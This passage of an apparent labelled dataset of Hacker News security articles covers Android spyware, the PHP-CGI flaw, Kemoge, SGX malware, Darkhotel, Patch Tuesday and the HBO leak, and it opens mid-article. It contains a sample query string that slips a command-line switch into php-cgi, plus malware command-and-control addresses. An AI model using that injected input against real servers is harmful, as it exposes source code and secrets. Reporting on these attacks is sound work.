Mobile devices are reason of great concern for governments, they have a great computational capability, huge memories to store our personal data, GPS to follow our movements and are equipped with a camera and microphone to increase our experience in mobility. The advent of monitoring apps like Mobistealth has already brought the possibility of using the aforementioned features to keep tabs on a target device irrespective of the geographic distance to light.

However, it has also raised red flags over the possibility of exploitation of such features by attackers for cyber espionage. The problem is well known to governments that are adopting necessary countermeasures especially following the recent revelations about the U.S. Surveillance program.

The UK Government has decided to ban iPads from the Cabinet over foreign eavesdropper fears, it has been requested Ministers to leave mobile in lead-lined boxes to avoid foreign governments to spy on top level government meetings.

The news is reported by the Mail on Sunday, after the Cabinet Office minister Francis Maude made a presentation using his iPads last week (about how the Government Digital Service might save the UK £2bn a year) the Downing Street security staff has dismissed the mobile device to prevent eavesdropping of ongoing discussions.
The measure was adopted to avoid that foreign security services infecting mobile devices are able to capture audio and data from victims, it is known that hostile actors like China, Russia and Iran have the ability to use mobiles in powerful spy tools.

Ministers belonging to sensitive government departments were recently issued with soundproof lead-lined boxes to guard and isolate their mobile devices during official meetings.

The precautions have been taken due the high concern caused by news that German Chancellor Angela Merkel's personal mobile has been spied by the NSA for years. My personal opinion it that it is not acceptable that the German Federal Intelligence Service has allowed everything, missing the adoption of appropriate protective measures like crypto mobile devices, protected landline and similar. Other governments already have approached the problem to adopt secure devices to prevent bugging and eavesdropping, the British foreign secretary William Hague confirmed his phone has been armored by GCHQ.

Just a week ago it was published the news that delegates at the G20 summit in Russia received malicious computer memory sticks used to serve a malware to spy on the participants and steal sensitive information, let's remember also that the information leaked on the NSA FoxAcid platform revealed the existence of spy tool kits RADON and DEWSPEEPER able to exploit victims via USB.

Herman Van Rompuy, the President of the European Council, ordered tests to be carried out on the memory sticks and the results are shocking:

'The USB pen drives and the recharging cables were able to covertly capture computer and mobile phone data,' a secret memo said.

Overseas, the situation does not change, even the US fear that the use of the mobile devices can cause them problems, The Department of Homeland Security and FBI warn public safety departments that their out-of-date Android devices are a security risk, but updating them is not always easy or simple.
The alert cited unspecified ""industry reporting"" that, ""44 percent of Android users are still using versions 2.3.3 through 2.3.7 (Gingerbread) which were released in 2011 and have a number of security vulnerabilities that were fixed in later versions.""
Google's own figures on its site for Android developers estimate that percentage at about a third less — 30.7 percent. But it also showed 21.7 percent using versions 4.0.3-4.0.4, called Ice Cream Sandwich, which is also out of date. Less than half – 45.1 percent – are using the latest OS, called Jelly Bean, and of that group, 36.6 percent are using 4.1, and only 8.5 percent are using 4.2, which is the latest OS.
The DHS/FBI document address principal cyber threats to out-of-date Android mobile devices, including SMS Trojans, Rootkits and fake Google Play Domains.

Despite the alert recommends regular updates, running an ""Android security suite"" and downloading apps only from the official Google Play Store, the update for Android devices can reveal several problems.

""There is a wide variety of Android OEM versions rolled out to a huge number of different handsets, and not all carriers and handset OEMs will allow you to upgrade to the latest version,"" ""So, the Android versions that can run are restricted per device. Even now it is possible to buy Gingerbread devices that cannot be upgraded to Jelly Bean."" said Mario de Boer, research director, Security and Risk Management Strategies at Gartner for Technical Professionals.

De Boer suggested that the only solution for now is to block the use of Android devices that are not running the latest OS.

""Apply admission control,""""If your Smartphones or tablet is running a vulnerable OS, you cannot get access to the specific service or data."" ""this is hard to accomplish for voice and text, and easier for email and access to files.""

The principal problem related to the use of mobile devices in government environment is that almost every Smartphone is not designed following severe requirements in term of corporate or government security, let's add that wrong user's habits aggravate the situation.

It needs a change or mobile devices should be excluded from sensitive contexts.

",Malware
Human Rights Activists targeted with new Android malware,https://thehackernews.com/2013/03/human-rights-activists-targeted-with.html,"Tibetan and Uyghur activists are once again targeted with a new malware, specially designed for Android devices. This is the first documented attack that targets Android smartphones.

Security researchers at Kaspersky say they've found a targeted malware attack on Android phones that seems to come from China. The attack relied heavily on social engineering, a kind of verbal manipulation, to hack into their targets' devices.


Malware seeks to steal information like contacts, call logs, and SMS of people who work in the field of human rights. Kaspersky has identified the Trojan as ""Chuli,"" after a command function that shows up prior to posting stolen data to the command-and-control server at the URL: hxxp://64.78.161.133/*victims's_cell_phone_number*/process.php.

On March 24, the attackers infiltrated the email account of a high-profile Tibetan activist, and used that account to send a spear-phishing email to their contacts list. Once the victim opens the attachment on her Android phone, the file installs an application called ""conference"" that will display some information about the Geneva conference.

As the target is reading the message, malicious software they had inadvertently installed would report back to a command-and-control server, before collecting information from the phone.

Kaspersky also had a warning for future evolution in attack strategy: ""So far, attackers relied entirely on social engineering to infect the targets. History has shown us that, in time, these attacks will use zero-day vulnerabilities, exploits or a combination of techniques.""

",Malware
Police Arrest 16-year-old Boy Who Hacked CIA Director,https://thehackernews.com/2016/02/cia-hacker-arrested.html,"The teenage hacker, who calls himself a member of hacktivist group ""Cracka with Attitude,"" behind the series of hacks on the United States government and its high-level officials, including CIA director, might have finally got arrested.

In a joint effort, the Federal Bureau of Investigation (FBI) and British police reportedly have arrested a 16-year-old British teenager who they believe had allegedly:
Leaked the personal details of tens of thousands of FBI agents and US Department of Homeland Security (DHS) employees.
Hacked into the AOL emails of CIA director John Brennan.
Hacked into the personal email and phone accounts of the US spy chief James Clapper.
Broke into the AOL emails of the FBI Deputy Director Mark Giuliano.
Federal officials haven't yet released the identity of the arrested teenager, but the boy is suspected of being the lead hacker of Cracka With Attitude, who calls himself Cracka, the South East Regional Organised Crime Unit (SEROCU) told the Daily Dot.

According to the report, Cracka is the same teenage hacker who recently leaked the personal information of 31,000 government agents belonging to nearly 20,000 FBI agents, 9,000 Department of Homeland Security (DHS) officers and some number of DoJ staffers.

Crime Unite Released a Statement

In a statement, the SEROCU confirmed that the unit had arrested a teenager on Tuesday in the East Midlands on suspicion of:
Conspiracy to commit unauthorised access to computer material contrary to Section 1 Computer Misuse Act 1990.
Conspiracy to commit unauthorised access with intent to commit further offences contrary to Section 2 Computer Misuse Act 1990.
Conspiracy to commit unauthorised acts with intent to impair or with recklessness as to the impairing operation of a computer contrary to Section 3 Computer Misuse Act 1990.
Accused Teen: Authorities Ruining My Life

The unit declined to provide any further information on the arrest, but while speaking to Motherboard, the arrested teenager denied being Cracka, saying ""I am not who you think I am ;) ;) ;)""
""I am innocent until proven guilty so I have nothing to be worried about,"" the teen said. ""They are trying to ruin my life.""
Neither the Department of Justice (DoJ) nor the FBI have yet responded to comment on it.

",Data_Breaches
Un-Patched PHP-CGI remote code execution vulnerability can expose Source Codes,https://thehackernews.com/2012/05/un-patched-php-cgi-remote-code.html,"Un-Patched PHP-CGI remote code execution bug can expose Source Codes

A serious remote code execution vulnerability in PHP-CGI disclosed. PHP-CGI-based setups contain a vulnerability when parsing query string parameters from php files. The developers were still in the process of building the patch for the flaw when it was disclosed Wednesday, But the vulnerability can only be exploited if the HTTP server follows a fairly obscure part of the CGI spec.

According to advisory (CVE-2012-1823) , PHP-CGI installations are vulnerable to remote code execution. You can pass command-line arguments like the ""-s"" switch ""show source"" to PHP via the query string. For example, You could see the source via ""https://localhost/test.php?-s"" . A remote unauthenticated attacker could obtain sensitive information, cause a denial of service condition or may be able to execute arbitrary code with the privileges of the web server.

The team that found the bug, known as Eindbazen. They said that it had been waiting for several months for the PHP Group to release a patch for the vulnerability in order to publish information about the bug.

What this vulnerability can do ? It can help attacker to find out database passwords, file locations etc and Execute any file on the server's local disk. Most important , using some trick if you have the possibility to upload a file to the server, execute any code.

So, When PHP is used in a CGI-based setup the php-cgi receives a processed query string parameter as command line arguments which allows command-line switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution.

",Vulnerability
Microsoft becomes latest victim of Cyber attack,https://thehackernews.com/2013/02/microsoft-becomes-latest-victim-of.html,"Microsoft has become the latest victim of to Cyber attack and confirm that small number of its computers, including some in its Mac software business unit, were infected with malware.


Microsoft added, malicious software used in a cyber attack is very similar to those experienced by Facebook and Apple recently. Microsoft gave few other details about the break-in, ""We have no evidence of customer data being affected and our investigation is ongoing.""

""During our investigation, we found a small number of computers, including some in our Mac business unit that were infected by malicious software using techniques similar to those documented by other organizations. We have no evidence of customer data being affected and our investigation is ongoing,"" Microsoft said.

""This type of cyber attack is no surprise to Microsoft and other companies that must grapple with determined and persistent adversaries,"" the company said.

Last week, Apple said its computers were attacked by the same hackers who targeted Facebook a week earlier and Facebook said it had traced a cyber attack back to China which had infiltrated employees' laptops.

",Malware
Kemoge: Latest Android Malware that Can Root Your Smartphone,https://thehackernews.com/2015/10/android-malware-root.html,"Google Android has been a primary concern of the attackers. Counting from a simple text message that could hack an Android phone remotely to the Stagefright bug making Billion users vulnerable.

Now, the latest is the 'Kemoge Malware' that has made its debut as an Adware on the Android mobile phones, allowing third-party app stores to fetch your device's information and take full control of it.

Security researchers from FireEye Labs have discovered that Kemoge malicious adware family is spreading in 20 countries around the globe. Also, the origin of the Adware's attack is suspected from China.

What is Kemoge?

The name given to the malicious Adware family is because of its command and control (C2) domain: aps.kemoge.net.

Kemoge is an Adware in the disguise of popular Apps; it has circulated in such numbers because it takes the name of popular apps and repackages them with the malicious code and make them available to the user.

They even use the same developer name, as used by the verified and clean apps on the official Play Store.

Some of the popular apps getting affected are:(Image)
Talking Tom 3
Calculator
Shareit
Assistive Touch
WiFi Enhancer

How does Kemoge Work?
The attacker sets up a genuine looking interface and uploads the apps to third-party app stores and plays smart by promoting the download links via websites and in-app advertisements.
Some aggressive ad networks gaining root privilege can also automatically install the samples.
Once activated on the device, Kemoge collects device information and uploads it to the ad server, then it slyly serves ads from the background.
Victims get ad banners frequently regardless of the current activity as ads even pop-up when the user remains on the Android home screen.
""Initially Kemoge is just annoying, but it soon turns evil,"" said FireEye researchers.

Kemoge even Affects Rooted Devices

The malicious adware injects eight root exploits to root phones, targeting a wide range of device models.

Some of the exploits are compiled from open source projects whereas some come from the commercial tool ""Root Dashi"" (or ""Root Master"").
""After gaining root, it executes root.sh to obtain persistency,"" FireEye researchers said. ""Afterwards, it implants the AndroidRTService.apk into /system partition as Launcher0928.apk -- the filename imitates the legit launcher system service. Moreover, the package name of this apk also looks like authentic services, e.g. com.facebook.qdservice.rp.provider and com.android.provider.setting.""
Moreover, the malicious system service ( Launcher0928.apk) contacts aps.kemoge.net for commands.

How does Kemoge Evade Detection?

To evade detection, Kemoge communicates with the server at various time intervals. The malware runs malicious code briefly at the first launch or 24 hours after installation.

In each enquiry, Kemoge sends the data including phone's IMEI, IMSI, storage information, and installed app information to a remote third-party server.

After uploading the device's information, the malware asks commands from the server, which reverts with a command out of following three domains and the malicious system service executes it. The commands are:
Uninstall designated applications
Launch designated applications
Download and Install applications from URLs given by server
FireEye researchers conducted their research on Nexus 7 running Android 4.3 (JellyBean). While experimenting, the server commanded the device, such that it uninstalled the legitimate apps and made the device filled with malicious codes.

How to Protect Against Kemoge?

Kemoge is a dangerous threat and to stay safe you are advised to:
Never click on any suspicious links from emails, SMS, websites, or advertisements.
Never install apps outside of the official App Store.
Keep your Android devices up-to-date in order to avoid being rooted by public known vulnerabilities (Upgrading device to the latest version of OS provides some security but doesn't always guarantee protection).
Uninstall the app showing Ads.
To know more about Kemoge, follow FireEye's official blog. Also, if you faced any such issues with your Android device, then identify the app supplying malicious Adware to you and let us know in the comment below.

",Vulnerability
Microsoft Kept Secret That Its Bug-Tracking Database Was Hacked In 2013,https://thehackernews.com/2017/10/microsoft-bug-tracking-breach.html,"It was not just Yahoo among ""Fortune 500"" companies who tried to keep a major data breach incident secret.

Reportedly, Microsoft had also suffered a data breach four and a half years ago (in 2013), when a ""highly sophisticated hacking group"" breached its bug-reporting and patch-tracking database, but the hack was never made public until today.

According to five former employees of the company, interviewed separately by Reuters, revealed that the breached database had been ""poorly protected with access possible via little more than a password.""

This incident is believed to be the second known breach of such a corporate database after a critical zero-day vulnerability was discovered in Mozilla's Bugzilla bug-tracking software in 2014.

As its name suggests, the bug-reporting and patch-tracking database for Windows contained information on critical and unpatched vulnerabilities in some of the most widely used software in the world, including Microsoft's own Windows operating system.

The hack was believed to be carried out by a highly-skilled corporate espionage hacking group known by various names, including Morpho, Butterfly and Wild Neutron, who exploited a JAVA zero-day vulnerability to hack into Apple Mac computers of the Microsoft employees, ""and then move to company networks.""

With such a database in hands, the so-called highly sophisticated hacking group could have developed zero-day exploits and other hacking tools to target systems worldwide.

There's no better example than WannaCry ransomware attack to explain what a single zero-day vulnerability can do.

""Bad guys with inside access to that information would literally have a 'skeleton key' for hundreds of millions of computers around the world,"" said Eric Rosenbach, who was American deputy assistant secretary of defence for cyber at the time of the breach.

When Microsoft discovered the compromised database in earlier 2013, an alarm spread inside the company.

Following the concerns that hackers were using stolen vulnerabilities to conduct new attacks, the tech giant conducted a study to compare the timing of breaches with when the bugs had entered the database and when they were patched.

Although the study found that the flaws in the stolen database were used in cyber attacks, Microsoft argued the hackers could have obtained the information elsewhere, and that there's ""no evidence that the stolen information had been used in those breaches.""

Former employees also confirmed that the tech giant tightened up its security after the 2013 hacking incident and added multiple authentication layers to protect its bug-reporting system.

However, three of the employees believes the study conducted by Microsoft did not rule out stolen vulnerabilities being used in future cyber attacks, and neither the tech giant conducted a thorough investigation into the incident.

On being contacted, Microsoft declined to speak about the incident, beyond saying: ""Our security teams actively monitor cyber threats to help us prioritise and take appropriate action to keep customers protected.""

",Cyber_Attack
"Researchers Implant ""Protected"" Malware On Intel SGX Enclaves",https://thehackernews.com/2019/02/intel-sgx-malware-hacking.html,"Cybersecurity researchers have discovered a way to hide malicious code in Intel SGX enclaves, a hardware-based memory encryption feature in modern processors that isolates sensitive code and data to protect it from disclosure or modification.

In other words, the technique allows attackers to implant malware code in a secure memory that uses protection features of SGX which are otherwise designed to protect important data from prying eyes or from being tampered, even on a compromised system.

Introduced with Intel's Skylake processors, SGX (Software Guard Extensions) allows developers to run selected application modules in a completely isolated secure region of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels like the operating system, kernel, BIOS, SMM, hypervisor, etc.

However, a team of researchers, some of whom were behind the discovery of the Spectre-Meltdown CPU flaws, managed to bypass this protection and got their own malicious application in the secure enclaves by leveraging the age-old technique of return-oriented programming (ROP).

The attack also uses Transactional Synchronization eXtensions (TSX), found in modern Intel CPUs, in conjunction with a novel fault-resistant read primitive technique called TSX-based Address Probing (TAP).
TAP uses TSX to determine if a virtual address is accessible by the current process, and this exploration of memory is undetectable because operating system-level applications cannot look inside an enclave, by design.

""Our SGX-ROP attack uses new TSX-based memory-disclosure primitive and a write-anything-anywhere primitive to construct a code reuse attack from within an enclave which is then inadvertently executed by the host application,"" reads a research paper [PDF] published Tuesday.

To determine whether a memory page is writable, the team developed a fault-resistant write primitive, Checking Located Addresses for Writability (CLAW), which encapsulates the write instruction for the target memory page within a TSX transaction and explicitly aborts the transaction after the write.

After that, the writability of the target memory page can be deduced based on the return value of the transaction.

Once the malware gets its way into the secure enclave, the confidentiality and integrity that SGX fundamentally guarantees to legit programs would also prohibit researchers or security solutions from detecting and analyzing the malware within an enclave.

This would eventually allow the malware app to bypass various security technologies, such as operating system-level Address Space Layout Randomization (ASLR), stack canaries, and address sanitizer, as well as execute arbitrary code on the targeted system.

""Moreover, there's a potential threat of next-generation ransomware which securely keeps encryption keys inside the enclave and, if implemented correctly, prevents ransomware recovery tools,"" the academics explain.

The researchers said the proof-of-concept exploit developed by their team bypassed ASLR, stack canaries, and address sanitizer, to ""run ROP gadgets in the host context enabling practical enclave malware,"" noting that the entire exploit process took 20.8 seconds.

In the end, the academics concluded that instead of ""protecting users from harm, SGX currently poses a security threat, facilitating so-called super-malware with ready-to-hit exploits.""

The mitigations against such attacks could be implemented in future generations of Intel CPUs that better sandbox the SGX enclaves. While some of those mitigations would require hardware-level changes without costing any performance, some would not require hardware modifications but would trade some performance.

",Malware
Warning: Your Windows PC Can Get Hacked by Just Visiting a Site,https://thehackernews.com/2018/04/windows-patch-updates.html,"Can you get hacked just by clicking on a malicious link or opening a website? — YES.

Microsoft has just released its April month's Patch Tuesday security updates, which addresses multiple critical vulnerabilities in its Windows operating systems and other products, five of which could allow an attacker to hack your computer by just tricking you visit a website.

Microsoft has patched five critical vulnerabilities in Windows Graphics Component that reside due to improper handling of embedded fonts by the Windows font library and affects all versions of Windows operating systems to date, including Windows 10 / 8.1 / RT 8.1 / 7, Windows Server 2008 / 2012 / 2016.

An attacker can exploit these issues by tricking an unsuspecting user to open a malicious file or a specially crafted website with the malicious font, which if open in a web browser, would hand over control of the affected system to the attacker.

All these five vulnerabilities in Windows Microsoft Graphics were discovered and responsibly disclosed by Hossein Lotfi, a security researcher at Flexera Software.
CVE-2018-1010
CVE-2018-1012
CVE-2018-1013
CVE-2018-1015
CVE-2018-1016
Windows Microsoft Graphics is also affected by a denial of service vulnerability that could allow an attacker to cause a targeted system to stop responding. This flaw exists in the way Windows handles objects in memory.

Microsoft has also disclosed details of another critical RCE vulnerability (CVE-2018-1004), which exists in Windows VBScript Engine and affects all versions of Windows.
""In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website,"" Microsoft explains.
""An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine.""

Besides this, Microsoft has also patched multiple remote code execution vulnerabilities in Microsoft Office and Microsoft Excel, which could allow attackers to take control of the targeted systems.

The security updates also include patches for six flaws in Adobe Flash Player, three of which were rated critical.

Rest CVE-listed flaws has been addressed in Windows, Microsoft Office, Internet Explorer, Microsoft Edge, ChakraCore, Malware Protection Engine, Microsoft Visual Studio, and the Microsoft Azure IoT SDK, along with bugs in Adobe Flash Player.

Users are strongly advised to apply security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.

For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates.

",Vulnerability
Darkhotel APT Malware Targets Global CEOs Using Hotel Internet,https://thehackernews.com/2014/11/darkhotel-apt-malware-targets-global.html,"A seven-year-old cyber espionage campaign has targeted senior level executives from large global companies by using a specialized Advanced Persistent Threat (APT), zero-day exploits, and well-developed keyloggers to extract information from them when they stay in luxury hotels during their business trips.

The researchers at Moscow-based security firm Kaspersky Lab dubbed the threat as ""DarkHotel APT,"" appear to have the ability to know in advance when a targeted executive checks in and checks out of a hotel.

The group has been operating in Asia since from 2009 but there have been infections recorded in the United States, South Korea, Singapore, Germany, Ireland and many others, as well. It uses hotel Wi-Fi networks to target elite executives at organisations in manufacturing, defense, investment capital, private equity, automotive and other industries.

The group has access to zero day vulnerabilities and exploits, and it used them to infect victims. Threat actors use three different malware distribution methods including malicious Wi-Fi networks, booby-trapped P2P torrents, and highly customized spear phishing, Kaspersky Lab reported in research paper.

When the target executives connect their devices to the hotel's Wi-Fi or wired Internet access, they are shown bogus software updates, typically something that looks legitimate, for Adobe Flash, Google Toolbar, or Windows Messenger. But these updates also contain a type of malware called a Trojan dropper bundled with more malware.
""When unsuspecting guests, including situationally aware corporate executives and high-tech entrepreneurs, travel to a variety of hotels and connect to the internet, they are infected with a rare APT Trojan posing as any one of several major software releases,"" the researchers wrote in a report published Monday. ""These might be GoogleToolbar, Adobe flash, Windows Messenger, etc. This first stage of malware helps the attackers to identify more significant victims, leading to the selective download of more advanced stealing tools.""
""At the hotels, these installs are selectively distributed to targeted individuals. This group of attackers seems to know in advance when these individuals will arrive and depart from their high-end hotels. So, the attackers lay in wait until these travelers arrive and connect to the internet.""
The trojan dropper then installs various keyloggers and other tracking applications in order to track each of the victim's keystrokes and scan browsers for saved passwords, exposing a wealth of trade secrets and other secret information to the Darkhotel group.

In addition, the Darkhotel malware has ability to manipulate trusted digital certificates by factoring the underlying private keys of the cloned certificates generated using 512-bit md5 keys. The ability of attackers to factor the weak keys for use in such malware attacks has long been known, as advisories issued from Fox-IT, Microsoft, Mozilla, and Entrust warned in 2011.
""All related cases of signed Darkhotel malware share the same Root Certificate Authority and Intermediate Certificate Authority that issued certificates with weak md5 keys (RSA 512 bits),"" Monday's Kaspersky report stated. ""We are confident that our Darkhotel threat actor fraudulently duplicated these certificates to sign its malware. These keys were not stolen.""
The DarkHotel malware operating group have also recently stolen third-party certificates to sign their malware.

In order to protect your device, the easiest way for you is to avoid connecting to hotel Wi-Fi networks or to any other public or untrusted networks, and instead, use your mobile device hotspot to get access to the Internet.

",Malware
Microsoft Releases Patches for 60 Flaws—Two Under Active Attack,https://thehackernews.com/2018/08/microsoft-patch-updates.html,"Get your update caps on.

Just a few minutes ago Microsoft released its latest monthly Patch Tuesday update for August 2018, patching a total of 60 vulnerabilities, of which 19 are rated as critical.

The updates patch flaws in Microsoft Windows, Edge Browser, Internet Explorer, Office, ChakraCore, .NET Framework, Exchange Server, Microsoft SQL Server and Visual Studio.

Two of these vulnerabilities patched by the tech giant is listed as publicly known and being exploited in the wild at the time of release.

According to the advisory released by Microsoft, all 19 critical-rated vulnerabilities lead to remote code execution (RCE), some of which could eventually allow attackers to take control of the affected system if exploited successfully.

Besides this, Microsoft has also addressed 39 important flaws, one moderate and one low in severity.

Here below we have listed brief details of a few critical and publically exploited important vulnerabilities:

Internet Explorer Memory Corruption Vulnerability (CVE-2018-8373)

The first vulnerability under active attack is a critical remote code execution vulnerability that was revealed by Trend Micro last month and affected all supported versions of Windows.

Internet Explorer 9, 10 and 11 are vulnerable to a memory corruption issue that could allow remote attackers to take control of the vulnerable systems just by convincing users to view a specially crafted website through Internet Explorer.

""An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine,"" Microsoft says in its advisory.

Windows Shell Remote Code Execution Vulnerability (CVE-2018-8414)

The second publicly known and actively exploited flaw resides in the Windows Shell, which originates due to improper validation of file paths.

The arbitrary code can be executed on the targeted system by convincing victims into opening a specially crafted file received via an email or a web page.

Microsoft SQL Server RCE (CVE-2018-8273)

Microsoft SQL Server 2016 and 2017 are vulnerable to a buffer overflow vulnerability that could be exploited remotely by an attacker to execute arbitrary code in the context of the SQL Server Database Engine service account.

Successful exploitation of the vulnerability requires a remote attacker to submit a specially crafted query to an affected SQL server.

Windows PDF Remote Code Execution Vulnerability (CVE-2018-8350)

Windows 10 systems with Microsoft Edge set as the default browser can be compromised merely by convincing users to view a website.

Due to improper handling of the objects in the memory, Windows 10's PDF library could be exploited by a remote attacker to execute arbitrary code on the targeted system.
""The attacker could also take advantage of compromised websites or websites that accept or host user-provided content or advertisements, by adding specially crafted PDF content to such sites,"" Microsoft says in its advisory.
""Only Windows 10 systems with Microsoft Edge set as the default browser can be compromised simply by viewing a website.""

Microsoft Exchange Memory Corruption Vulnerability (CVE-2018-8302)

This vulnerability resides in the way this software handles objects in memory, allowing a remote attacker to run arbitrary code in the context of the System user just by sending a specially crafted email to the vulnerable Exchange server.

The flaw affects Microsoft Exchange Server 2010, 2013 and 2016.

Microsoft Graphics Remote Code Execution Vulnerability (CVE-2018-8344)

Microsoft revealed that Windows font library improperly handles specially crafted embedded fonts, which could allow attackers to take control of the affected system by serving maliciously embedded fonts via a specially crafted website and document file.

This vulnerability affects Windows 10, 8.1, and 7, and Windows Server 2016 and 2012.

LNK Remote Code Execution Vulnerability (CVE-2018-8345)

This vulnerability exists in .LNK shortcut file format used by Microsoft Windows 10, 8.1, 7 and Windows Server editions.

An attacker can use malicious .LNK file and an associated malicious binary to execute arbitrary code on the targeted system. Successful exploitation of this vulnerability could allow attackers to gain the same user rights on the target Windows system as the local user.

According to the Microsoft advisory, users accounts configured with fewer user rights on the system are less impacted by this vulnerability than users who operate with administrative user rights.

GDI+ Remote Code Execution Vulnerability (CVE-2018-8397)

This RCE flaw resides in the way Windows Graphics Device Interface (GDI) handles objects in the memory, allowing an attacker to take control of the affected system if exploited successfully.
""An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,"" Microsoft says in its advisory explaining the flaw.
""Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.""
The vulnerability affects Windows 7 and Windows Server 2008.

Besides this, Microsoft has also pushed security updates to patch vulnerabilities in Adobe products, details of which you can get through a separate article posted today.

Users are strongly advised to apply security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.

For installing security updates, directly head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.
",Vulnerability
Game of Thrones (Season 7) Episode 5 Script Leaked — Hacker Demands Millions in Ransom,https://thehackernews.com/2017/08/game-of-thrones-season7-leaked.html,"The hacking group that recently hacked HBO has just dropped its second trove of documents, including a month emails of one of the company's executives, and a detailed script of the upcoming fifth episode of ""Game of Thrones"" Season 7, set to be aired on August 13.

The latest release is the second leak from the hackers who claimed to have obtained around 1.5 terabytes of information from HBO, following the release of upcoming episodes of ""Ballers"" and ""Room 104,"" and a script of the fourth episode of ""Game of Thrones.""

With the release of another half-gigabyte sample of its stolen HBO data, the hacking group has finally demanded a ransom worth millions of dollars from the entertainment giant in order to prevent further leaks.

The latest HBO data dump includes company's several internal documents, including emails, employment agreements, financial balance sheets, and marketing-strategy PDFs, along with the script of the yet-to-air 5th episode of Game of Thrones, all watermarked with ""HBO is Falling.""

The hackers reportedly sent a video message to HBO President and CEO Richard Plepler and demanded his ""six-month salary in Bitcoin"" — which is almost $6 Million — as a ransom for the stolen data otherwise they'll continue to leak.
In the video letter, written by ""Mr. Smith"" posing as the group of hackers behind the leak, the hackers demanded an unspecified amount of money from Plepler.
""We successfully breached into your huge network. HBO was one of our difficult targets to deal with, but we succeeded (it took about 6 months),"" the letter reads as quoted by Wired.
""Our demand is clear and Non-Negotiable: We want XXXX dollars to stop leaking your Data. HBO spends 12 million for Market Research and 5 million for GOT7 advertisements. So consider us another budget for your advertisements!""
Last week when the hackers released the first batch of stolen data, HBO confirmed the cyber attack on its network but did not confirm how much data the hackers have stolen and whether it included upcoming episodes of the widely watched Game Of Thrones.

The ransom note adds that the deadline for that payment is only 3 days, but does not include a date. The video letter ends with an image of the ""Night King"" villain from Game of Thrones with his arms raised—the word ""standing"" in one hand and ""falling"" in the other.

Data Breaches also published some parts of the ransom demand the hackers, which call themselves white hats, sent to HBO.

In an internal email sent to to the HBO staff last week, Plepler said: ""Many people have expressed particular concern about our e-mail system. At this time, we do not believe that our email system as a whole has been compromised, but the forensic review is ongoing.""

HBO spokesperson Jeff Cusson told the publication that the company had been expecting more data to emerge from its data breach, but that the company's ""forensic review is ongoing.""
""The review to date has not given us a reason to believe that our email system as a whole has been compromised,"" Cusson says. ""We continue to work around the clock with outside cyber security firms and law enforcement to resolve the incident.""
If hackers have indeed stolen 1.5 terabytes of data from HBO and the company refuse to pay the ransom, users should expect more leaks of upcoming episodes from their favourite shows.

At this moment, it is still unclear who is behind the hack. We will update the story with the latest information.

",Data_Breaches
Ashley Madison Hacker – An Insider Woman Employee?,https://thehackernews.com/2015/08/ashley-madison-hack-insider-woman-job.html,"""Ashley Madison was not hacked!""

This is what declared by John McAfee, former founder of antivirus software company McAfee.

So far everyone must be aware of Ashley Madison massive data breach. Last week, the hackers, who called themselves Impact Team, posted 10GB of personal data for tens of Millions of its customers, including their names and email addresses.

Frequently followed by another leak, where hackers released another 20GB of company's internal data, including personal emails from the CEO of Ashley Madison parent company Avid Life, Noel Biderman, along with the source code for its website and mobile apps.

John McAfee: Ashley Madison is an Inside Job by a Woman

However, in a post published in the International Business Times, McAfee made a controversial statement saying, ""Ashley Madison was not hacked,"" and claiming that the alleged data breach was ""an inside job.""

McAfee says Ashley Madison data was plundered by an ex-employee. A female ex-employee who worked for Toronto-based Avid Life Media, the parent company of the adultery website Ashley Madison.

The reason, no doubt, sounds good enough, but I wonder where he get this idea from. Snowden?

Conclusions by McAfee

McAfee claims that he discovered this by pouring over the 40-gigabytes of hacked database leaked so far by the alleged hacking group, which calls itself the Impact Team.

Data analysis has led him to draw three conclusions:
The hack was a solo affair
The breach was perpetrated by an insider
A woman is behind it

Evidences by McAfee to Prove his Conclusions

To prove his first claim that the hack was a solo affair, McAfee provided the details in his July post on IBTimes. He wrote, ""I cannot tell you how I know, but the simple published data should help point to this fact.""

Here's what he says for his conclusion that the hack was perpetrated by an insider:
How did I discover that it was an inside job?
From the [leaked data], it was clear that the perpetrator had intimate knowledge of the technology stack of the company...The data contains actual MySQL database dumps. [It] is not just someone copying a table and making into a .csv file. Hackers rarely have full knowledge of the technology stack of a target.
Now at last, Why a Woman?

McAfee says the attacker used the words like ""scumbags"" and ""cheating dirtbags"" when referring to men, and her mentioning of someone who ""spitefully"" joined Ashley Madison the day after Valentine's Day, as decidedly feminine.

""If this does not convince you then you need to get out of the house more often,"" McAfee says.

Wait what? Is he saying me to get out?

Okay, that is an understatement.

Well, we know McAfee is a bit of a character in the cyber security world. He always remains in controversies, like for murdering his neighbor, for claiming to be the target of assassins or for being arrested for driving while under the influence.

However, on the other side, McAfee is a well-established name in cyber security, an innovator who made Millions through an anti-virus software company named after him.

For the hacker(s) part, Avid Life Media is offering a cash reward of up to $500,000 for information leading to the arrest of the hackers who breached the data of Ashley Madison.

Well, The Hacker News lets you draw your own conclusions. So let us know your thoughts about the reasons given by John McAfee. Hit the comments below.

",Data_Breaches
US and Israel developed Flame Malware against Iran,https://thehackernews.com/2012/06/us-and-israel-developed-flame-malware.html,"US and Israel developed Flame Malware against Iran

Unnamed Western officials confirmed that Flame was developed by US and Israeli governments. The United States and Israel jointly developed the Flame computer virus that collected intelligence to help slow Iran's nuclear program.

The massive piece of malware secretly mapped and monitored Iran's computer networks, sending back a steady stream of intelligence to prepare for a cyber­warfare campaign, according to the officials.

The effort, involving the National Security Agency, the CIA and Israel's military, has included the use of destructive software such as the Stuxnet virus to cause malfunctions in Iran's nuclear-enrichment equipment.

The cyber campaign against Iran's nuclear program has included the use of another computer virus called Stuxnet that caused malfunctions in Iran's nuclear enrichment equipment.

""This is about preparing the battlefield for another type of covert action,"" said one former high-ranking U.S. intelligence official, who added that Flame and Stuxnet were elements of a broader assault that continues today. ""Cyber-collection against the Iranian program is way further down the road than this.""

